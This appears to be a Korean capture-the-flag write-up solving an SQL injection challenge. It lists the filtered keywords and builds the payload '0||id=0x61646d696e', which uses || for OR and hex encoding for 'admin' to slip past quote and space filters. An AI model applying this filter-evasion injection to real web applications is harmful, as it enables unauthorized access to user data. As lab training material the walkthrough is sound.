select
, or
, and
, (
, )
, limit
, ,
, /
, order
, cash
, 공백, 탭, '
, "
가 필터링된다. 필터링을 우회하여 id가 admin
이 되도록 하는 쿼리를 작성하면 된다.
What's in DB
Level에 여러 가지 숫자를 넣어보면 다음의 결과를 확인할 수 있다.
- Level 1:
ltusy
- Level 2:
udnrg
- Level 3:
fvvcg
- Level 4:
bzrbo
admin
의 level은 알아낼 방법이 없다. 그러면 조건문에서 id가 admin
인 데이터를 뽑아오도록 만들어야 하는데, 쿼리를 다음과 같이 구성하면 될 것이다.
select id from chall49 where lv=0 or id='admin'
여기서 필터링되는 것은 공백, or
, '
이다. 공백과 or
은 ||
로 우회할 수 있고, 따옴표는 admin
을 0x61646d696e
로 16진수로 표현하여 우회할 수 있다. 즉, 쿼리를 다음과 같이 구성하면 된다.
select id from chall49 where lv=0||id=0x61646d696e
Level에 0||id=0x61646d696e
를 입력하면 문제가 풀린다.
728x90